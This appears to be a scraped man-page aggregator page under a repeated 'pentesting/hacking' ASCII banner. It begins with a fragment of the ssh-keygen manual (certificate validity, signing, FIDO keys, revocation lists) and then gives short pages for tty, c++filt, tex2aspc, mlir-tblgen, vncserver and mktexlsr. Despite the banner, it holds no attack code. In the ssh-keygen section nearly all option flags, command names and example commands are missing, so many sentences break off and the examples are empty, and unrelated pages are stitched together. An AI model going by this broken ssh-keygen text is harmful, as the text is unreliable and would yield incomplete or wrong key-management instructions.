Specify a validity interval when signing a certificate. A validity interval may consist of a single time, indicating that the certificate is valid beginning now and expiring at that time, or may consist of two times separated by a colon to indicate an explicit time interval.

The start time may be specified as:

The string

to indicate the certificate has no specified start time.

A date or time in the system time zone formatted as YYYYMMDD or YYYYMMDDHHMM[SS].

A date or time in the UTC time zone as YYYYMMDDZ or YYYYMMDDHHMM[SS]Z.

A relative time before the current system time consisting of a minus sign followed by an interval in the format described in the TIME FORMATS section of

A raw seconds since epoch (Jan 1 1970 00:00:00 UTC) as a hexadecimal number beginning with

The end time may be specified similarly to the start time:

The string

to indicate the certificate has no specified end time.

A date or time in the system time zone formatted as YYYYMMDD or YYYYMMDDHHMM[SS].

A date or time in the UTC time zone as YYYYMMDDZ or YYYYMMDDHHMM[SS]Z.

A relative time after the current system time consisting of a plus sign followed by an interval in the format described in the TIME FORMATS section of

A raw seconds since epoch (Jan 1 1970 00:00:00 UTC) as a hexadecimal number beginning with

For example:

Valid from now to 52 weeks and one day from now.

Valid from four weeks ago to four weeks from now.

Valid from 12:30 PM, January 1st, 2010 to 12:30 PM, January 1st, 2011.

Similar, but interpreted in the UTC time zone rather than the system time zone.

Valid from yesterday to midnight, January 1st, 2011.

Valid from roughly early 1970 to May 2033.

Valid from one minute ago and never expiring.

Verbose mode. Causes

to print debugging messages about its progress. This is helpful for debugging moduli generation. Multiple

options increase the verbosity. The maximum is 3.

Specifies a path to a library that will be used when creating FIDO authenticator-hosted keys, overriding the default of using the internal USB HID support.

Find the principal(s) associated with the public key of a signature, provided using the

flag in an authorized signers file provided using the

flag. The format of the allowed signers file is documented in the

section below. If one or more matching principals are found, they are returned on standard output.

Find principal matching the principal name provided using the

flag in the authorized signers file specified using the

flag. If one or more matching principals are found, they are returned on standard output.

Checks that a signature generated using

has a valid structure. This does not validate if a signature comes from an authorized signer. When testing a signature,

accepts a message on standard input and a signature namespace using

A file containing the corresponding signature must also be supplied using the

flag. Successful testing of the signature is signalled by

returning a zero exit status.

Cryptographically sign a file or some data using an SSH key. When signing,

accepts zero or more files to sign on the command-line - if no files are specified then

will sign data presented on standard input. Signatures are written to the path of the input file with

appended, or to standard output if the message to be signed was read from standard input.

The key used for signing is specified using the

option and may refer to either a private key, or a public key with the private half available via

An additional signature namespace, used to prevent signature confusion across different domains of use (e.g. file signing vs email signing) must be provided via the

flag. Namespaces are arbitrary strings, and may include:

for file signing,

for email signing. For custom uses, it is recommended to use names following a [email protected] pattern to generate unambiguous namespaces.

Request to verify a signature generated using

as described above. When verifying a signature,

accepts a message on standard input and a signature namespace using

A file containing the corresponding signature must also be supplied using the

flag, along with the identity of the signer using

and a list of allowed signers via the

flag. The format of the allowed signers file is documented in the

section below. A file containing revoked keys can be passed using the

flag. The revocation file may be a KRL or a one-per-line list of public keys. Successful verification by an authorized signer is signalled by

returning a zero exit status.

This option will read a private OpenSSH format file and print an OpenSSH public key to stdout.

Specifies the cipher to use for encryption when writing an OpenSSH-format private key file. The list of available ciphers may be obtained using

The default is

Specifies a serial number to be embedded in the certificate to distinguish this certificate from others from the same CA. If the

is prefixed with a

character, then the serial number will be incremented for each certificate signed on a single command-line. The default serial number is zero.

When generating a KRL, the

flag is used to specify a KRL version number.

may be used to generate groups for the Diffie-Hellman Group Exchange (DH-GEX) protocol. Generating these groups is a two-step process: first, candidate primes are generated using a fast, but memory intensive process. These candidate primes are then tested for suitability (a CPU-intensive process).

Generation of primes is performed using the

option. The desired length of the primes may be specified by the

option. For example:

By default, the search for primes begins at a random point in the desired length range. This may be overridden using the

option, which specifies a different start point (in hex).

Once a set of candidates have been generated, they must be screened for suitability. This may be performed using the

option. In this mode

will read candidates from standard input (or a file specified using the

option). For example:

By default, each candidate will be subjected to 100 primality tests. This may be overridden using the

option. The DH generator value will be chosen automatically for the prime under consideration. If a specific generator is desired, it may be requested using the

option. Valid generator values are 2, 3, and 5.

Screened DH groups may be installed in

It is important that this file contains moduli of a range of bit lengths.

A number of options are available for moduli generation and screening via the

flag:

Exit after screening the specified number of lines while performing DH candidate screening.

Start screening at the specified line number while performing DH candidate screening.

Write the last line processed to the specified file while performing DH candidate screening. This will be used to skip lines in the input file that have already been processed if the job is restarted.

Specify the amount of memory to use (in megabytes) when generating candidate moduli for DH-GEX.

Specify start point (in hex) when generating candidate moduli for DH-GEX.

Specify desired generator (in decimal) when testing candidate moduli for DH-GEX.

supports signing of keys to produce certificates that may be used for user or host authentication. Certificates consist of a public key, some identity information, zero or more principal (user or host) names and a set of options that are signed by a Certification Authority (CA) key. Clients or servers may then trust only the CA key and verify its signature on a certificate rather than trusting many user/host keys. Note that OpenSSH certificates are a different, and much simpler, format to the X.509 certificates used in

supports two types of certificates: user and host. User certificates authenticate users to servers, whereas host certificates authenticate server hosts to users. To generate a user certificate:

The resultant certificate will be placed in

A host certificate requires the

option:

The host certificate will be output to

It is possible to sign using a CA key stored in a PKCS#11 token by providing the token library using

and identifying the CA key by providing its public half as an argument to

Similarly, it is possible for the CA key to be hosted in a

This is indicated by the

flag and, again, the CA key must be identified by its public half.

In all cases,

is a “key identifier” that is logged by the server when the certificate is used for authentication.

Certificates may be limited to be valid for a set of principal (user/host) names. By default, generated certificates are valid for all users or hosts. To generate a certificate for a specified set of principals:

Additional limitations on the validity and use of user certificates may be specified through certificate options. A certificate option may disable features of the SSH session, may be valid only when presented from particular source addresses or may force the use of a specific command.

The options that are valid for user certificates are:

Clear all enabled permissions. This is useful for clearing the default set of permissions so permissions may be added individually.

Includes an arbitrary certificate critical option or extension. The specified

should include a domain suffix, e.g.

If

is specified then it is included as the contents of the extension/option encoded as a string, otherwise the extension/option is created with no contents (usually indicating a flag). Extensions may be ignored by a client or server that does not recognise them, whereas unknown critical options will cause the certificate to be refused.

Forces the execution of

instead of any shell or command specified by the user when the certificate is used for authentication.

Disable

forwarding (permitted by default).

Disable port forwarding (permitted by default).

Disable PTY allocation (permitted by default).

Disable execution of

by

(permitted by default).

Disable X11 forwarding (permitted by default).

Allows

forwarding.

Allows port forwarding.

Allows PTY allocation.

Allows execution of

by

Allows X11 forwarding.

Do not require signatures made using this key include demonstration of user presence (e.g. by having the user touch the authenticator). This option only makes sense for the FIDO authenticator algorithms

and

Restrict the source addresses from which the certificate is considered valid. The

is a comma-separated list of one or more address/netmask pairs in CIDR format.

Require signatures made using this key indicate that the user was first verified. This option only makes sense for the FIDO authenticator algorithms

and

Currently PIN authentication is the only supported verification method, but other methods may be supported in the future.

At present, no standard options are valid for host keys.

Finally, certificates may be defined with a validity lifetime. The

option allows specification of certificate start and end times. A certificate that is presented at a time outside this range will not be considered valid. By default, certificates are valid from the

Epoch to the distant future.

For certificates to be used for user or host authentication, the CA public key must be trusted by

or

Refer to those manual pages for details.

is able to generate FIDO authenticator-backed keys, after which they may be used much like any other key type supported by OpenSSH, so long as the hardware authenticator is attached when the keys are used. FIDO authenticators generally require the user to explicitly authorise operations by touching or tapping them. FIDO keys consist of two parts: a key handle part stored in the private key file on disk, and a per-device private key that is unique to each FIDO authenticator and that cannot be exported from the authenticator hardware. These are combined by the hardware at authentication time to derive the real key that is used to sign authentication challenges. Supported key types are

and

The options that are valid for FIDO keys are:

Override the default FIDO application/origin string of

This may be useful when generating host or domain-specific resident keys. The specified application string must begin with

Specifies a path to a challenge string that will be passed to the FIDO authenticator during key generation. The challenge string may be used as part of an out-of-band protocol for key enrollment (a random challenge is used by default).

Explicitly specify a

device to use, rather than letting the authenticator middleware select one.

Indicate that the generated private key should not require touch events (user presence) when making signatures. Note that

will refuse such signatures by default, unless overridden via an authorized_keys option.

Indicate that the key handle should be stored on the FIDO authenticator itself. This makes it easier to use the authenticator on multiple computers. Resident keys may be supported on FIDO2 authenticators and typically require that a PIN be set on the authenticator prior to generation. Resident keys may be loaded off the authenticator using

Storing both parts of a key on a FIDO authenticator increases the likelihood of an attacker being able to use a stolen authenticator device.

A username to be associated with a resident key, overriding the empty default username. Specifying a username may be useful when generating multiple resident keys for the same application name.

Indicate that this private key should require user verification for each signature. Not all FIDO authenticators support this option. Currently PIN authentication is the only supported verification method, but other methods may be supported in the future.

May be used at key generation time to record the attestation data returned from FIDO authenticators during key generation. This information is potentially sensitive. By default, this information is discarded.

is able to manage OpenSSH format Key Revocation Lists (KRLs). These binary files specify keys or certificates to be revoked using a compact format, taking as little as one bit per certificate if they are being revoked by serial number.

KRLs may be generated using the

flag. This option reads one or more files from the command line and generates a new KRL. The files may either contain a KRL specification (see below) or public keys, listed one per line. Plain public keys are revoked by listing their hash or contents in the KRL and certificates revoked by serial number or key ID (if the serial is zero or not available).

Revoking keys using a KRL specification offers explicit control over the types of record used to revoke keys and may be used to directly revoke certificates by serial number or key ID without having the complete original certificate on hand. A KRL specification consists of lines containing one of the following directives followed by a colon and some directive-specific information.

Revokes a certificate with the specified serial number. Serial numbers are 64-bit values, not including zero and may be expressed in decimal, hex or octal. If two serial numbers are specified separated by a hyphen, then the range of serial numbers including and between each is revoked. The CA key must have been specified on the

command line using the

option.

Revokes a certificate with the specified key ID string. The CA key must have been specified on the

command line using the

option.

Revokes the specified key. If a certificate is listed, then it is revoked as a plain public key.

Revokes the specified key by including its SHA1 hash in the KRL.

Revokes the specified key by including its SHA256 hash in the KRL. KRLs that revoke keys by SHA256 hash are not supported by OpenSSH versions prior to 7.9.

Revokes a key using a fingerprint hash, as obtained from a

authentication log message or the

flag. Only SHA256 fingerprints are supported here and resultant KRLs are not supported by OpenSSH versions prior to 7.9.

KRLs may be updated using the

flag in addition to

When this option is specified, keys listed via the command line are merged into the KRL, adding to those already there.

It is also possible, given a KRL, to test whether it revokes a particular key (or keys). The

flag will query an existing KRL, testing each key specified on the command line. If any key listed on the command line has been revoked (or an error encountered) then

will exit with a non-zero exit status. A zero exit status will only be returned if no key was revoked.

When verifying signatures,

uses a simple list of identities and keys to determine whether a signature comes from an authorized source. This “allowed signers” file uses a format patterned after the AUTHORIZED_KEYS FILE FORMAT described in

Each line of the file contains the following space-separated fields: principals, options, keytype, base64-encoded key. Empty lines and lines starting with a

are ignored as comments.

The principals field is a pattern-list (see PATTERNS in

consisting of one or more comma-separated USER@DOMAIN identity patterns that are accepted for signing. When verifying, the identity presented via the

option must match a principals pattern in order for the corresponding key to be considered acceptable for verification.

The options (if present) consist of comma-separated option specifications. No spaces are permitted, except within double quotes. The following option specifications are supported (note that option keywords are case-insensitive):

Indicates that this key is accepted as a certificate authority (CA) and that certificates signed by this CA may be accepted for verification.

Specifies a pattern-list of namespaces that are accepted for this key. If this option is present, the signature namespace embedded in the signature object and presented on the verification command-line must match the specified list before the key will be considered acceptable.

Indicates that the key is valid for use at or after the specified timestamp, which may be a date or time in the YYYYMMDD[Z] or YYYYMMDDHHMM[SS][Z] formats. Dates and times will be interpreted in the current system time zone unless suffixed with a Z character, which causes them to be interpreted in the UTC time zone.

Indicates that the key is valid for use at or before the specified timestamp.

When verifying signatures made by certificates, the expected principal name must match both the principals pattern in the allowed signers file and the principals embedded in the certificate itself.

An example allowed signers file:

# Comments allowed at start of line [email protected],[email protected] ssh-rsa AAAAX1… # A certificate authority, trusted for all principals in a domain. *@example.com cert-authority ssh-ed25519 AAAB4… # A key that is accepted only for file signing. [email protected] namespaces=“file” ssh-ed25519 AAA41…

Specifies a path to a library that will be used when loading any FIDO authenticator-hosted keys, overriding the default of using the built-in USB HID support.

Contains the DSA, ECDSA, authenticator-hosted ECDSA, Ed25519, authenticator-hosted Ed25519 or RSA authentication identity of the user. This file should not be readable by anyone but the user. It is possible to specify a passphrase when generating the key; that passphrase will be used to encrypt the private part of this file using 128-bit AES. This file is not automatically accessed by

but it is offered as the default file for the private key.

will read this file when a login attempt is made.

Contains the DSA, ECDSA, authenticator-hosted ECDSA, Ed25519, authenticator-hosted Ed25519 or RSA public key for authentication. The contents of this file should be added to

on all machines where the user wishes to log in using public key authentication. There is no need to keep the contents of this file secret.

Contains Diffie-Hellman groups used for DH-GEX. The file format is described in

OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH. Markus Friedl contributed the support for SSH protocol versions 1.5 and 2.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2054 - Linux cli command tty

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tty and provides detailed information about the command tty, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tty.

NAME 🖥️ tty 🖥️

print the file name of the terminal connected to standard input

SYNOPSIS

tty [OPTION]…

DESCRIPTION

Print the file name of the terminal connected to standard input.

-s, –silent, –quiet
print nothing, only return an exit status

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/tty>
or available locally via: info ‘(coreutils) tty invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2055 - Linux cli command x86_64-w64-mingw32ucrt-c++filt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-c++filt and provides detailed information about the command x86_64-w64-mingw32ucrt-c++filt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-c++filt.

NAME 🖥️ x86_64-w64-mingw32ucrt-c++filt 🖥️

demangle C++ and Java symbols

SYNOPSIS

c++filt [-_|–strip-underscore] [-n|–no-strip-underscore] [-p|–no-params] [-t|–types] [-i|–no-verbose] [-r|–no-recurse-limit] [-R|–recurse-limit] [-s format|–format=format] [–help] [–version] [symbol…]

DESCRIPTION

The C++ and Java languages provide function overloading, which means that you can write many functions with the same name, providing that each function takes parameters of different types. In order to be able to distinguish these similarly named functions C++ and Java encode them into a low-level assembler name which uniquely identifies each different version. This process is known as mangling. The c++filt [1] program does the inverse mapping: it decodes (demangles) low-level names into user-level names so that they can be read.

Every alphanumeric word (consisting of letters, digits, underscores, dollars, or periods) seen in the input is a potential mangled name. If the name decodes into a C++ name, the C++ name replaces the low-level name in the output, otherwise the original word is output. In this way you can pass an entire assembler source file, containing mangled names, through c++filt and see the same source file containing demangled names.

You can also use c++filt to decipher individual symbols by passing them on the command line:

c++filt <symbol>

If no symbol arguments are given, c++filt reads symbol names from the standard input instead. All the results are printed on the standard output. The difference between reading names from the command line versus reading names from the standard input is that command-line arguments are expected to be just mangled names and no checking is performed to separate them from surrounding text. Thus for example:

c++filt -n _Z1fv

will work and demangle the name to “f()” whereas:

c++filt -n _Z1fv,

will not work. (Note the extra comma at the end of the mangled name which makes it invalid). This command however will work:

echo _Z1fv, | c++filt -n

and will display “f(),”, i.e., the demangled name followed by a trailing comma. This behaviour is because when the names are read from the standard input it is expected that they might be part of an assembler source file where there might be extra, extraneous characters trailing after a mangled name. For example:

.type _Z1fv, @function

OPTIONS

-_

–strip-underscore

On some systems, both the C and C++ compilers put an underscore in front of every name. For example, the C name foo gets the low-level name _foo. This option removes the initial underscore. Whether c++filt removes the underscore by default is target dependent.

-n

–no-strip-underscore

Do not remove the initial underscore.

-p

–no-params

When demangling the name of a function, do not display the types of the function’s parameters.

-t

–types

Attempt to demangle types as well as function names. This is disabled by default since mangled types are normally only used internally in the compiler, and they can be confused with non-mangled names. For example, a function called “a” treated as a mangled type name would be demangled to “signed char”.

-i

–no-verbose

Do not include implementation details (if any) in the demangled output.

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option.

-s format

–format=format

c++filt can decode various methods of mangling, used by different compilers. The argument to this option selects which method it uses:

“auto”
Automatic selection based on executable (the default method)

“gnu”
the one used by the GNU C++ compiler (g++)

“lucid”
the one used by the Lucid compiler (lcc)

“arm”
the one specified by the C++ Annotated Reference Manual

“hp”
the one used by the HP compiler (aCC)

“edg”
the one used by the EDG compiler

“gnu-v3”
the one used by the GNU C++ compiler (g++) with the V3 ABI.

“java”
the one used by the GNU Java compiler (gcj)

“gnat”
the one used by the GNU Ada compiler (GNAT).

–help
Print a summary of the options to c++filt and exit.

–version
Print the version number of c++filt and exit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

FOOTNOTES

  1. MS-DOS does not allow + characters in file names, so on MS-DOS this program is named CXXFILT.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2056 - Linux cli command tex2aspc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tex2aspc and provides detailed information about the command tex2aspc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tex2aspc.

NAME 🖥️ tex2aspc 🖥️

converts conventional MusiXTeX scores to .aspc format for processing by autosp(1).

SYNOPSIS

tex2aspc [-v | –version | -h | –help]

tex2aspc infile[.tex] [outfile[.aspc]]

DESCRIPTION

This program re-factors (sequences of) conventional note-spacing commands ( otes \Notes \NOtes …) in a measure into a single notes command. This is intended for “legacy” scores in order to take advantage of features only provided by autosp(1), such as “global” skips and processing of TransformNotes commands.

LIMITATIONS

tex2aspc assumes that & and | (rather than extinstrument and extstaff) are used to separate instruments and staffs.

User-defined macros are not processed or expanded.

SEE ALSO

autosp(1)

musixdoc.pdf

AUTHOR

This program and manual page were written by Bob Tennent <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2057 - Linux cli command mlir-tblgen-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mlir-tblgen-16 and provides detailed information about the command mlir-tblgen-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mlir-tblgen-16.

NAME 🖥️ mlir-tblgen-16 🖥️

tblgen - Description to C++ Code for MLIR

SYNOPSIS

mlir-tblgen [options] [filename]

DESCRIPTION

mlir-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2058 - Linux cli command vncserver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vncserver and provides detailed information about the command vncserver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vncserver.

NAME 🖥️ vncserver 🖥️

a wrapper to launch an X server for VNC.

SYNOPSIS

vncserver [:display] [-geometry widthxheight] [-depth depth] [-pixelformat rgbNNN|bgrNNN] [-name desktop-name] [  -httpport int  ] [  -basehttpport int  ] [  -alwaysshared  ] [  -nevershared  ] [Xvnc-options…]

vncserver [  -clean  ] -kill :display
vncserver -help

DESCRIPTION

vncserver is a wrapper script for Xvnc, the free X server for VNC (Virtual Network Computing). It provides all capabilities of a standard X server, but does not connect to a display for itself. Instead, Xvnc creates a virtual desktop you can view or control remotely using a VNC viewer.

OPTIONS

You can add Xvnc options at the command line. They will be added to the invocation of Xvnc without changes. The options provided by the vncserver itself are as follows:

**:**display
The display number to use. If omitted, the next free display number is used.

-geometry widthxheight
Set desktop width and height.

-depth depth
Set the colour depth of the visual to provide, in bits per pixel. Must be a value between 8 and 32.

-pixelformat rgbNNN|bgrNNN
Set colour format for pixels representation. The viewer can do the conversion to any other pixel format, but it is faster if the depth and pixel format of the server is the same as the equivalent values on the viewer display.

-name string
This specifies the name of the desktop.

-clean
This option can be used in conjunction with

-kill **:**display
Stops the session running on the specified display.

-nevershared
Never allow shared desktops.

-alwaysshared
Always allow shared desktops.

-basehttpport int
The base http port to use for the java client applet (you have to install the tightvnc-java package to make this work). The real port number will be port = base + display num.

-httpport int
The http port to use for the java client applet (you have to install the tightvnc-java package to make this work).

-help
Prints a short usage notice to stderr.

EXAMPLES

vncserver
Invokes Xvnc on the next available display and with suitable defaults.

vncserver :1
Invokes Xvnc on display :1.

vncserver -geometry 800x600 -depth 16 :1
Invokes Xvnc on display :1 with desktop size of 800x600 pixels and color depth of 16 bits per pixel.

vncserver -kill :1
Shuts down Xvnc server on display :1.

FILES

/etc/tightvncserver.conf
System-wide configuration file of TightVNC Server.

$HOME/.vnc/tightvncserver.conf
User configuration file of TightVNC Server. Its setting override system-wide configuration.

SEE ALSO

Xvnc(1), vncviewer(1), vncpasswd(1), vncconnect(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2059 - Linux cli command mktexlsr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktexlsr and provides detailed information about the command mktexlsr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktexlsr.

NAME 🖥️ mktexlsr 🖥️

create ls-R databases

SYNOPSIS

mktexlsr [directories]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Kpathsea: A library for path searching.

mktexlsr is used to generate the ls-R databases used by the kpathsea library. It will create them for the specified directories, or for a default list if no directories are specified.

OPTIONS

mktexlsr accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

REPORTING BUGS

Report bugs to: [email protected] (https://lists.tug.org/tex-k)
TeX Live home page: https://tug.org/texlive/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
